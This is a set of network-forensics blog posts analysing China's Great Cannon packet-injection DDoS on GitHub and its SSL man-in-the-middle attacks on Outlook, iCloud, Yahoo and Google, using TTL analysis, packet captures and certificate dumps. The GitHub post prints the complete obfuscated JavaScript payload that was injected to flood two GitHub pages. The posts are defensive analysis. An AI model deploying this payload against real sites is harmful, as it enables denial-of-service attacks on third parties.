China's Man-on-the-Side Attack on GitHub

On March 27 The following message was posted on the official GitHub blog:

We are currently experiencing the largest DDoS (distributed denial of service) attack in github.com's history. The attack began around 2AM UTC on Thursday, March 26, and involves a wide combination of attack vectors. These include every vector we've seen in previous attacks as well as some sophisticated new techniques that use the web browsers of unsuspecting, uninvolved people to flood github.com with high levels of traffic. Based on reports we've received, we believe the intent of this attack is to convince us to remove a specific class of content.

We have looked closer at this attack and can conclude that China is using their active and passive network infrastructure in order to perform a packet injection attack, known as a man-on-the-side attack against GitHub. See our "TTL analysis" at the end of this blog post to see how we know this is a Man-on-the-side attack.

In short, this is how this Man-on-the-Side attack is carried out:

1. An innocent user is browsing the internet from outside China.
2. One website the user visits loads a JavaScript from a server in China, for example the Badiu Analytics script that often is used by web admins to track visitor statistics (much like Google Analytics).
3. The web browser's request for the Baidu JavaScript is detected by the Chinese passive infrastructure as it enters China.
4. A fake response is sent out (3 packets injected) from within China instead of the actual Baidu Analytics script. This fake response is a malicious JavaScript that tells the user's browser to continuously reload two specific pages on GitHub.com.

However, not all users loading JavaScripts from inside China are attacked in this way. Our analysis shows that only about 1% of the requests for the Baidu Analytics script are receiving the malicious JavaScript as response. So in 99% of the cases everything behaves just like normal.

We managed to get a browser to load the malicious JavaScript simply by browsing a few Chinese websites. After the JavaScript loaded we observed the following behavior in our network traffic: Image: CapLoader Gantt chart of traffic generated by the malicious JavaScript

The script got our browser to connect to github.com (IP address 192.30.252.[128-131]) in an infinite loop.

Baidu Analytics

The Baidu Analytics script can be loaded from URLs like:
http://hm.baidu.com/h.js?0deadbeef000deadbeef000deadbeef0 (normal version)
http://hm.baidu.com/hm.js?0deadbeef000deadbeef000deadbeef0 (asynchronous version)

The proper JavaScript received when requesting such an URL should look like this: Image: CapLoader flow transcript of the Baidu Analytics script

The injected response with the malicious JavaScript looks like this: Image: CapLoader flow transcript of the malicious JavaScript

The injected response is actually exactly the same every time, consisting of three TCP packets with the following payload:

Injected packet #1:

HTTP/1.1 200 OK
Server: Apache
Connection: close
Content-Type: text/javascript
Content-Length: 1130

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?\'\':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!\'\'.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return\'\\\\w+\'};c=1};while(c--)if(k[c])p=p.replace(new RegExp(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);return p}(\'l.k("<5 p=\\\'r://H.B.9/8/2.0.0/8.C.t\\\'>\\\\h/5>");!J.K&&l.k("<5 p=\\\'r://L.8.9/8-T.t\\\'>\\\\h/5>");j=(6 4).c();7 g=0;3 i(){7 a=6 4;V 4.Z(a.10(),a.w(),a.x(),a.11(),a.y(),a.z())/A}d=["m://n.9/E","m://n.9/F-G"];o=d.I;3 e(){7 a=i()%o;q(d[a])}3 q(a){7 b;$.M({N:a,O:"5",P:Q,R:!0,S:3(){s=(6 4).c()},U:3(){f=(6 4).c();b=W.X(f-s);Y>f-j&&(u(b),g+=1)}})}3 u(a){v("e()",a)}v("e()",D);\',62,64,\'|||function|Date|script|new|var|jquery|com|||getTime|url_array|r_send2|responseTime|count|x3c|unixtime|startime|write|document|https|github|NUM|src|get|http|requestTime|js|r_send|setTimeout|getMonth|getDay|getMinutes|getSeconds|1E3|baidu|min|2E3|greatfire|cn|nytimes|libs|length|window|jQuery|code|ajax|url|dataType|timeou

t|1E4|cache|beforeSend|latest|complete|return|Math|floor|3E5|UTC|getFullYear|getHours'.split('|'),0,{}))

The malicious JavaScript is somewhat obfuscated, but some simple deobfuscation leaves us with the following code:

As can be seen in the code, the two targeted URLs are github.com/greatfire and github.com/cn-nytimes, which are mirror sites for GreatFire.org and the Chinese New York Times. GreatFire and NYT both use GitHub to circumvent the online censorship performed by the Great Firewall of China (GFW).

TTL Analysis

Time-To-Live (TTL) analysis is a powerful method that can be used in order to analyze Man-in-the-Middle as well as Man-on-the-Side attacks. We've used this method before when analyzing the Chinese MITM attacks on iCloud, Yahoo, Google and GitHub.

What is interesting with this new attack on GitHub is that the attackers are now trying to make it difficult to locate the injection point of the malicious JavaScript by modifying the IP TTL values of injected packets.

The following Tshark output prints Source-IP, Destination-IP, TCP-Flags and IP-TTL in four columns (comments in yellow):

tshark -r baidu-high-ttl.pcap -T fields -e ip.src -e ip.dst -e tcp.flags -e ip.ttl
192.168.70.160 61.135.185.140 0x0002 64 <- SYN (client)
61.135.185.140 192.168.70.160 0x0012 42 <- SYN+ACK (server)
192.168.70.160 61.135.185.140 0x0010 64 <- ACK (client)
192.168.70.160 61.135.185.140 0x0018 64 <- HTTP GET (client)
61.135.185.140 192.168.70.160 0x0018 227 <- Injected packet 1 (injector)
192.168.70.160 61.135.185.140 0x0010 64
61.135.185.140 192.168.70.160 0x0018 228 <- Injected packet 2 (injector)
61.135.185.140 192.168.70.160 0x0019 229 <- Injected packet 3 (injector)
192.168.70.160 61.135.185.140 0x0010 64
192.168.70.160 61.135.185.140 0x0011 64

Notice how the TTL of the SYN+ACK packet from the server is 42, while the three injected packets with payload have TTL values of 227, 228 and 229?

Here is another PCAP file where injected packets have low TTL values:

tshark -r baidu-low-ttl.pcap -T fields -e ip.src -e ip.dst -e tcp.flags -e ip.ttl
192.168.70.160 61.135.185.140 0x0002 64 <- SYN (client)
61.135.185.140 192.168.70.160 0x0012 42 <- SYN+ACK (server)
192.168.70.160 61.135.185.140 0x0010 64 <- ACK (client)
192.168.70.160 61.135.185.140 0x0018 64 <- HTTP GET (client)
61.135.185.140 192.168.70.160 0x0018 30 <- Injected packet 1 (injector)
192.168.70.160 61.135.185.140 0x0010 64
61.135.185.140 192.168.70.160 0x0018 31 <- Injected packet 2 (injector)
61.135.185.140 192.168.70.160 0x0019 32 <- Injected packet 3 (injector)
192.168.70.160 61.135.185.140 0x0010 64
192.168.70.160 61.135.185.140 0x0011 64

The server's SYN+ACK packet stays at an IP TTL of 42 pretty much throughout our whole analysis, but the TTL of packets carrying the malicious payload varied between 30 and 229. This behavior implies that the SYN+ACK packet we are seeing is coming from the actual Baidu server, while the packets carrying the malicious payload are injected somewhere else.

As we've mentioned before the three injected packets are always carrying identical payloads and the only thing that changes in between sessions is basically the target TCP port. This further strengthens our assumption that these three packets are being injected. We even tried dropping one of the injected packets and thereby requesting a retransmission of that packet from the server, but we got nothing back. This too is a typical artifact showing that the malicious JavaScript has been delivered through injected packets as part of a Man-on-the-Side attack as opposed to coming from the actual Baidu server.

Additional Sources for the Malicious JS

The Baidu Analytics is not the only script that has been replaced with a malicious one. Users have also reported JavaScript replacements of Baidu Ads as well as several other services. In GreatFire.org's technical analysis of the DDoS attack against them they mention that they have seen JavaScripts being replaced for URLs like:

• hm.baidu.com/h.js
• cbjs.baidu.com/js/o.js
• dup.baidustatic.com/tpl/wh.js
• dup.baidustatic.com/tpl/ac.js
• dup.baidustatic.com/painter/clb/fixed7o.js
• dup.baidustatic.com/painter/clb/fixed7o.js
• eclick.baidu.com/fp.htm?br= ...
• pos.baidu.com/acom?adn= ...
• cpro.baidu.com/cpro/ui/uijs.php?tu=...
• pos.baidu.com/sync_pos.htm?cproid=...

These domains are all owned by Baidu, but technically any JavaScript from any site in China could have been exploited to perform this sort of packet injection attack.

Conclusions

This attack demonstrates how the vast passive and active network filtering infrastructure in China, known as the Great Firewall of China or "GFW", can be used in order to perform powerful DDoS attacks. Hence, the GFW cannot be considered just a technology for inspecting and censoring the Internet traffic of Chinese citizens, but also a platform for conducting DDoS attacks against targets world wide with help of innocent users visiting Chinese websites.

UPDATE - April 2'nd

Robert Graham of Errata Security has now verified our conclusion, that the attack is coming from China, by performing an "http-traceroute". Robert writes:

Using my custom http-traceroute, I've proven that the man-in-the-middle machine attacking GitHub is located on or near the Great Firewall of China. While many explanations are possible, such as hackers breaking into these machines, the overwhelmingly most likely suspect for the source of the GitHub attacks is the Chinese government.

UPDATE - April 13'th

Bill Marczak, Nicholas Weaver, Jakub Dalek, Roya Ensafi, David Fifield, Sarah McKune, Arn Rey, John Scott-Railton, Ronald Deibert and Vern Paxson have published their research about this new cyber weapon, which they have dubbed the "Great Cannon" (GC). In their blog post they confirm our findings regarding odd TTL values in the injected packets:

The packets injected by the [Great Cannon] also have the same peculiar TTL side-channel as those injected by the GFW, suggesting that both the GFW and the GC likely share some common code.

For more details on the TTL side-channel of the GFW, please read the Usenix FOCI '14 paper Towards a Comprehensive Picture of the Great Firewall’s DNS Censorship.

Even though the authors of the "Great Cannon" blog post claim that GC is not part of GFW they still confirm that they are co-located:

[T]he shared source code and co-location between the GFW and GC suggest that the GC could have been developed within the same institutional framework as the GFW.

They also traced the path to the GFW and GC:

For 115.239.210.141, the GFW and the GC both exist between hop 12 and 13, on the link between 144.232.12.211 and 202.97.33.37, as the traffic enters China Telecom. For 123.125.65.120, the GFW and GC both exist between hop 17 and 18, on the link between 219.158.101.61 and 219.158.101.49, belonging to China Unicom.

This confirms that the GC is located within the same ASN's as where we've previously seen the GFW perform SSL MITM attacks, which is in AS4134 (China Telecom) and AS4837 (China Unicom).

They also published several PCAP files, where they interact with the GFW and GC:

• gfc_test.tcpdump
• falun_traceroute.tcpdump
• eureka.tcpdump (interesting capture file, with injected packets and packets from Baidu in the same TCP session)
• both_sidechannel.tcpdump.gz
• injector_traceroute.tcpdump
• twopaths.tcpdump.gz
• next_ip.tcpdump
• stateless_and_cache.tcpdump.gz
• cache_expire.tcpdump.gz
• multisender-bigblast.tcpdump.gz
• multi_ip_blowout.tcpdump.gz

UPDATE - April 25'th

Niels Provos at Google posted an interesting report about the DDoS called A Javascript-based DDoS Attack as seen by Safe Browsing. In the report he shows that the packet injection rate wasn't fixed at 1 percent, it actually reached 17.5 percent for a few days when greatfire.org was being attacked.

Niels also provided additional details regarding the domains that were spoofed by the GFW to deliver the malicious javascript throug packet injection:

• cbjs.baidu.com (123.125.65.120)
• eclick.baidu.com (123.125.115.164)
• hm.baidu.com (61.135.185.140)
• pos.baidu.com (115.239.210.141)
• cpro.baidu.com (115.239.211.17)
• bdimg.share.baidu.com (211.90.25.48)
• pan.baidu.com (180.149.132.99)
• wapbaike.baidu.com (123.125.114.15)

If you would like to learn how to detect and analyze man-on-the-side attacks, then we recommend that you sign up for our two-day Network Forensics Class.

Posted by Erik Hjelmvik on Tuesday, 31 March 2015 01:15:00 (UTC/GMT)

Tags: #GFW​ #GitHub​ #China​ #packet injection​ #MOTS​ #MITM​ #Netresec​ #PCAP​ #AS4134​ #AS4837​

Chinese MITM attack on outlook.com

We were contacted by GreatFire.org earlier today regarding a new Chinese man-in-the-middle (MITM) attack. This time the perpetrators decrypted traffic between Chinese users and Microsoft's IMAP mail server for outlook.com. As evidence GreatFire.org provided us with a packet capture file, which we have analyzed.

Our conclusion is that this was a real attack on Microsoft's email service. Additionally, the attack is very similar to previous nationwide Chinese attacks on SSL encrypted traffic, such as the attack on Google a few months ago. Details such as email address, email password, email contents, email attachments and contacts may have been compromised in this attack. We do not know the scale of the attack, it could be anything from a fairly targeted attack to a nation wide attack in China. What we do know is that there are several users who have been subjected to the MITM attack and posted screenshots online.

Technical Analysis

In our technical analysis we first extracted the x509 certificates from the SSL traffic by loading the capture file into NetworkMinerCLI. We then parsed the extracted certificates with OpenSSL.

$ mono /opt/NetworkMinerProfessional_1-6-1/NetworkMinerCLI.exe -r Outlook_MITM_2015-01-18.pcapng
Closing file handles...
84 frames parsed in 0.888754 seconds.
$ ls AssembledFiles/157.56.195.250/TLS_Cert\ -\ TCP\ 993/*.cer
AssembledFiles/157.56.195.250/TLS_Cert - TCP 993/hotmail.com[1].cer
AssembledFiles/157.56.195.250/TLS_Cert - TCP 993/hotmail.com[2].cer
AssembledFiles/157.56.195.250/TLS_Cert - TCP 993/hotmail.com.cer
$ openssl x509 -inform DER -in AssembledFiles/157.56.195.250/TLS_Cert\ -\ TCP\ 993/hotmail.com.cer -noout -issuer -subject -startdate -fingerprint
issuer= /CN=*.hotmail.com
subject= /CN=*.hotmail.com
notBefore=Jan 15 16:00:00 2015 GMT
SHA1 Fingerprint=75:F4:11:59:5F:E9:A2:1A:17:A4:96:7C:7B:66:6E:51:52:79:1A:32

When looking at the timestamps in the capture file we noticed that the SSL server's reply to the 'Client Hello' was very slow; response times varied between 14 and 20 seconds. Under normal circumstances the 'Server Hello' arrives within 0.3 seconds after the 'Client Hello' has been sent.

$ tshark -nr ./Outlook_MITM_2015-01-18.pcapng -Y 'ssl.handshake.type lt 3'
8 9.023876000 10.0.2.15 -> 157.56.195.250 SSL 265 Client Hello
17 26.885504000 157.56.195.250 -> 10.0.2.15 TLSv1 576 Server Hello, Certificate, Server Hello Done
45 101.747755000 10.0.2.15 -> 157.56.195.250 SSL 265 Client Hello
49 116.258483000 157.56.195.250 -> 10.0.2.15 TLSv1 576 Server Hello, Certificate, Server Hello Done
63 116.338420000 10.0.2.15 -> 157.56.195.250 SSL 265 Client Hello
65 136.119127000 157.56.195.250 -> 10.0.2.15 TLSv1 576 Server Hello, Certificate, Server Hello Done
[...]

This is slow SSL response is consistent with previous SSL MITM attacks conducted with support of the Great Firewall of China (GFW).

For more details on this attack, please see the Reuters story "After Gmail blocked in China, Microsoft's Outlook hacked" and GreatFire's own blog post "Outlook grim - Chinese authorities attack Microsoft".

Posted by Erik Hjelmvik on Monday, 19 January 2015 22:55:00 (UTC/GMT)

Tags: #Netresec​ #PCAP​ #PCAPNG​ #GFW​ #MITM​ #China​ #Hotmail​ #IMAP​ #IMAPS​ #SSL​

Chinese MITM Attack on iCloud

Users in China are reporting a MITM attacks on SSL connections to iCloud.

GreatFire.org, who monitor the Great Firewall of China (GFW), also published a blog post on their website earlier today saying:

This is clearly a malicious attack on Apple in an effort to gain access to usernames and passwords and consequently all data stored on iCloud such as iMessages, photos, contacts, etc.

Fake SSL Certificate

In their blog post GreatFire also linked a packet capture file, which we have analyzed in order to verify the MITM attack. We loaded the PcapNG file into NetworkMiner Professional and extracted the X.509 SSL certificate.

The extracted certificate can be downloaded from here. Also, here are a few details from this X.509 certificate:

$ openssl x509 -inform DER -in www.icloud.com.cer -noout -issuer -subject -startdate -enddate -fingerprint
issuer= /C=cn/O=www.icloud.com/CN=www.icloud.com
subject= /C=cn/O=www.icloud.com/CN=www.icloud.com
notBefore=Oct 4 10:35:47 2014 GMT
notAfter=Oct 4 10:35:47 2015 GMT
SHA1 Fingerprint=F4:68:B5:F3:FE:D8:07:97:44:76:A2:2B:32:EA:31:37:D9:24:F7:BA

As reported elsewhere, the certificate was self signed, which means that browsers and most iPhone apps will either inform the user about the connection being unsafe or simply close the connection (see update at the bottom of this blog post regarding the missing certificate verification in Apple iOS). This use of self signed certificates is consistent with previous SSL MITM attacks performed in China against GitHub, Google, Yahoo and live.com.

Location of the MITM Attack

By looking at host the information provided by NetworkMiner for the fake iCloud SSL server we can see that it is just six router hops away from the client (having an IP TTL value of 58). This indicates that the MITM attack is being performed within China, since we'd expect to see at least three more router hops if the packets were coming from outside China.

The same PCAP file also contains packets from the same IP address on TCP port 80, which have traveled 11 hops (IP TTL 53). We therefore assume that only traffic to TCP port 443 is being MITM'ed.

This TTL analysis also matches various TCP traceroutes we've seen to the MITM'ed iCloud SSL service on 23.59.94.46:443.

                        My traceroute [v0.85]
siyanmao-k29 (0.0.0.0)                        Sat Oct 18 19:26:07 2014

Host                          Loss% Snt  Last   Avg  Best  Wrst StDev
1. 192.168.1.1                0.0%   17   0.6   0.7   0.6   0.8   0.0
2. -------------              0.0%   16   2.8   2.6   1.7   3.3   0.3
3. -------------              0.0%   16   2.0   2.2   1.4   4.0   0.4
4. ???
5. 119.145.47.78              0.0%   16   6.4   7.7   4.3  27.0   5.2
   183.56.65.54
   183.56.65.50
   119.145.47.74
   121.34.242.250
   121.34.242.138
6. 23.59.94.46               25.0%   16 168.5 171.4 166.8 201.3   9.4

The mtr TCP traceroute above indicates that MITM attacks are performed in AS4134 (China Telecom).

bearice@Bearice-Mac-Air-Haswell ~
%tcptraceroute 23.59.94.46 443
Selected device en0, address 192.168.100.16, port 52406 for outgoing packets
Tracing the path to 23.59.94.46 on TCP port 443 (https), 30 hops max
1 192.168.100.254 1.737 ms 0.793 ms 0.798 ms
2 111.192.144.1 2.893 ms 2.967 ms 2.422 ms
3 61.51.246.25 2.913 ms 2.893 ms 3.968 ms
4 124.65.61.157 4.824 ms 2.658 ms 3.902 ms
5 202.96.12.9 3.626 ms 6.532 ms 3.794 ms
6 219.158.96.54 27.539 ms 26.821 ms 27.661 ms
7 a23-59-94-46.deploy.static.akamaitechnologies.com (23.59.94.46) [open] 30.064 ms 29.899 ms 30.126 ms

The tcptraceroute above indicates that MITM attacks are also performed in AS4837 (China Unicom).

Tcproute traceroute to 23.59.94.46 on TCP 443 (source: @chenshaoju)

The Tcproute screenshot above shows that also CHINANET backbone network (China Telecom) seems to be used to carry out the MITM attacks.

Judging from these TCP traceroutes the MITM attacks seem to be taking place at several different locations rather centrally in the Chinese Internet infrastructure. To be more specific, it appears as if the MITM attacks are being performed on backbone networks belonging to China Telecom (CHINANET) as well as China Unicom.

UPDATE (October 22)

A vulnerability notice (CVE-2014-4449) has now been published, where Apple confirm that fake SSL certificates (like the Chinese fake one) were not verified by Apple iOS before 8.1. Apple released the first details about this vulnerability just a few hours after this blog post was published. Here's the text from the CVE description:

iCloud Data Access in Apple iOS before 8.1 does not verify X.509 certificates from TLS servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate.

Posted by Erik Hjelmvik on Monday, 20 October 2014 13:35:00 (UTC/GMT)

Tags: #Netresec​ #PCAP​ #GFW​ #China​ #PcapNG​ #MITM​ #NetworkMiner​ #AS4837​ #AS4134​

Verifying Chinese MITM of Yahoo

GreatFire.org sent out a tweet yesterday saying that “Yahoo appears to under Man-in-the-middle attack in China. 3rd case of country-wide MITM, after Google, Github”.

Mashable later ran a story called “China Appears to Attack Yahoo in Latest Censorship of Hong Kong Protests”, where Lorenzo Franceschi-Bicchierai write:

In what's almost unprecedented, China appears to be targeting Yahoo with what's called a "man-in-the-middle attack." With such an attack, connections to Yahoo.com, which are normally encrypted, would be vulnerable to snooping, and Chinese censors could also block search terms or specific Yahoo links with the goal of preventing Chinese netizens from accessing information about the protests in Hong Kong.

In this blog post we verify that there is an ongoing Man-in-the-Middle (MITM) attack by analyzing two different packet capture files.

Time-To-Live (TTL) Analysis

We estimate the distance between the end users and the Yahoo server in Hong Kong to be at least 10 router hops. However, the IP packets coming back to the users have IP TTL values of 58 (Wuxi) and 57 (Zhengzhou). This implies that the MITM is performed somewhere in China, just 6 or 7 router hops away from the users. This is consistent with what we've observed in previous MITM attacks performed by China against GitHub and Google.

IMAGE: Hosts tab in CapLoader showing TTL 57 for hk.yahoo.com:443

X.509 Certificate Analysis

We have extracted a X.509 certificate from one of the PcapNG files to a .cer file using NetworkMiner. This SSL certificate is available for download here.

$ openssl x509 -inform DER -in yahoo.com.cer -noout -issuer -subject -startdate -enddate -fingerprint
issuer= /C=cn/O=yahoo.com/CN=yahoo.com
subject= /C=cn/O=yahoo.com/CN=yahoo.com
notBefore=Sep 23 11:30:17 2014 GMT
notAfter=Sep 23 11:30:17 2015 GMT
SHA1 Fingerprint=22:90:C3:11:EA:0F:3F:57:E0:6D:F4:5B:69:8E:18:E8:28:E5:9B:C3

The certificate is a self signed certificate for “yahoo.com”. The fact that the MITM uses a self signed certificate makes the attack easily detectable even for the non-technical user, since the web browser will typically display a warning about the site not being trusted.

Some may think it's odd that China can't forge a properly signed certificate for their SSL MITM attack. However, they've used very similar self signed certificates also in their previous MITM attacks against GitHub and Google. The purpose of GFW (a.k.a. “Golden Shield”) is to censor the Internet, so the primary goal with this MITM attack isn't to covertly spy on Chinese Yahoo searches. Regardless if the end users notice the MITM or not, a self signed X.509 cert is enough in order to see what they are searching for and “kill” their connection to Yahoo when queries like “Umbrella Revolution” and “Tiananmen Square Protests” are observed.

Posted by Erik Hjelmvik on Wednesday, 01 October 2014 21:55:00 (UTC/GMT)

Tags: #MITM​ #GFW​ #PCAP​ #PCAPNG​ #SSL​ #TLS​ #China​

Analysis of Chinese MITM on Google

The Chinese are running a MITM attack on SSL encrypted traffic between Chinese universities and Google. We've performed technical analysis of the attack, on request from GreatFire.org, and can confirm that it is a real SSL MITM against www.google.com and that it is being performed from within China.

We were contacted by GreatFire.org yesterday (September 3) with a request to analyze two packet captures from suspected MITM-attacks before they finalized their blog post. The conclusions from our analysis is now published as part of GreatFire.org's great blog post titled “Authorities launch man-in-the-middle attack on Google”.

In their blog post GreatFire.org write:

From August 28, 2014 reports appeared on Weibo and Google Plus that users in China trying to access google.com and google.com.hk via CERNET, the country’s education network, were receiving warning messages about invalid SSL certificates. The evidence, which we include later in this post, indicates that this was caused by a man-in-the-middle attack.

While the authorities have been blocking access to most things Google since June 4th, they have kept their hands off of CERNET, China’s nationwide education and research network. However, in the lead up to the new school year, the Chinese authorities launched a man-in-the-middle (MITM) attack against Google.

Our network forensic analysis was performed by investigating the following to packet capture files:

Client and Server IP adresses

The analyzed capture files contain pure IPv6 traffic (CERNET is a IPv6 network) which made the analysis a bit different then usual. We do not disclose the client IP addresses for privacy reasons, but they both seem legit; one from Peking University (netname PKU6-CERNET2) and the other from Chongqing University (CQU6-CERNET2). Both IP addresses belong to AS23910, named "China Next Generation Internet CERNET2".

Peking University entrance, by galaygobi (Creative Commons Attribution 2.0)

Chongqing University gate, by Brooktse (Creative Commons Attribution-Share Alike 3.0)

The IP addresses received for www.google.com were in both cases also legit, so the MITM wasn't carried out through DNS spoofing. The Peking University client connected to 2607:f8b0:4007:804::1013 (GOOGLE-IPV6 in United States) and the connection from Chongqing University went to 2404:6800:4005:805::1010 (GOOGLE_IPV6_AP-20080930 in Australia).

Time-To-Live (TTL) Analysis

The Time-To-Live (TTL) values received in the IP packets from www.google.com were in both cases 248 or 249 (note: TTL is actually called ”Hop Limit” in IPv6 nomenclature, but we prefer to use the well established term ”TTL” anyway). The highest possible TTL value is 255, this means that the received packets haven't made more than 6 or 7 router hops before ending up at the client. However, the expected number of router hops between a server on GOOGLE-IPV6 and the client at Peking University is around 14. The low number of router hops is is a clear indication of an IP MITM taking place.

Image: CapLoader with both capture files loaded, showing TTL values

Here is an IPv6 traceroute from AS25795 in Los Angeles towards the IP address at Peking University (generated with ARP Networks' 4or6.com tool):

#traceroute -6 2001:da8:201:[REDACTED]
 1  2607:f2f8:1600::1 (2607:f2f8:1600::1) 1.636 ms 1.573 ms 1.557 ms
 2  2001:504:13::1a (2001:504:13::1a) 40.381 ms 40.481 ms 40.565 ms
 3  * * *
 4  2001:252:0:302::1 (2001:252:0:302::1) 148.409 ms 148.501 ms 148.595 ms
 5  * * *
 6  2001:252:0:1::1 (2001:252:0:1::1) 148.273 ms 147.620 ms 147.596 ms
 7  pku-bj-v6.cernet2.net (2001:da8:1:1b::2) 147.574 ms 147.619 ms 147.420 ms
 8  2001:da8:1:50d::2 (2001:da8:1:50d::2) 148.582 ms 148.670 ms 148.979 ms
 9  cernet2.net (2001:da8:ac:ffff::2) 147.963 ms 147.956 ms 147.988 ms
10  2001:da8:201:[REDACTED] 147.964 ms 148.035 ms 147.895 ms
11  2001:da8:201:[REDACTED] 147.832 ms 147.881 ms 147.836 ms
12  2001:da8:201:[REDACTED] 147.809 ms 147.707 ms 147.899 ms

Response Time Analysis

The round-trip time between the client and server can be estimated by measuring the time from when the client sends it initial TCP SYN packet to when it receives a TCP SYN+ACK from the server. The expected round-trip time for connecting from CERNET to a Google server overseas would be around 150ms or more. However, in the captures we've analyzed the TCP SYN+ACK package was received in just 8ms (Peking) and 52ms (Chongqing) respectively. Again, this is a clear indication of an IP MITM taking place, since Google cannot possibly send a response from the US to CERNET within 8ms regardless of how fast they are. The fast response times also indicate that the machine performing the MITM is located fairly close to the network at Peking University.

Even though the machine performing the MITM was very quick at performing the TCP tree-way handshake we noticed that the application layer communication was terribly slow. The specification for the TLS handshake (RFC 2246) defines that a ClientHello message should be responded to with a ServerHello. Google typically send their ServerHello response almost instantly, i.e. the response is received after one round-trip time (150ms in this case). However, in the analyzed captures we noticed ServerHello response times of around 500ms.

X.509 Certificate Analysis

The X.509 certificates were extracted from the two PCAP files to .cer files using NetworkMiner. We noticed that both users received identical certificates, which were both self signed for “google.com”. The fact that the MITM used a self signed certificate makes the attack easily detectable even for the non-technical user, since the web browser will typically display a warning about the site not being trusted. Additionally the X.509 certificate was created for ”google.com” rather than ”*.google.com”. This is an obvious miss from the MITM'ers side since they were attempting to MITM traffic to ”www.google.com” but not to ”google.com”.

Image: NetworkMiner showing list of X.509 certificates extracted from the two PCAP files

Certificate SHA1 fingerprint: f6beadb9bc02e0a152d71c318739cdecfc1c085d
Certificate MD5 fingerprint: 66:D5:D5:6A:E9:28:51:7C:03:53:C5:E1:33:14:A8:3B

A copy of the fake certificate is available on Google drive thanks to GreatFire.org.

Conclusions

All evidence indicates that a MITM attack is being conducted against traffic between China’s nationwide education and research network CERNET and www.google.com. It looks as if the MITM is carried out on a network belonging to AS23911, which is the outer part of CERNET that peers with all external networks. This network is located in China, so we can conclude that the MITM was being done within the country.

It's difficult to say exactly how the MITM attack was carried out, but we can dismiss DNS spoofing as the used method. The evidence we've observed instead indicate that the MITM attack is performed either by performing IP hijacking or by simply reconfiguring a router to forward the HTTPS traffic to a transparent SSL proxy. An alternative to changing the router config would also be to add an in-line device that redirects the desired traffic to the SSL proxy. However, regardless of how they did it the attacker would be able to decrypt and inspect the traffic going to Google.

We can also conclude that the method used to perform the MITM attack was similar to the Chinese MITM on GitHub, but not identical.

Posted by Erik Hjelmvik on Thursday, 04 September 2014 23:55:00 (UTC/GMT)

Tags: #MITM​ #GFW​ #PCAP​ #PCAPNG​ #Google​ #SSL​ #TLS​ #China​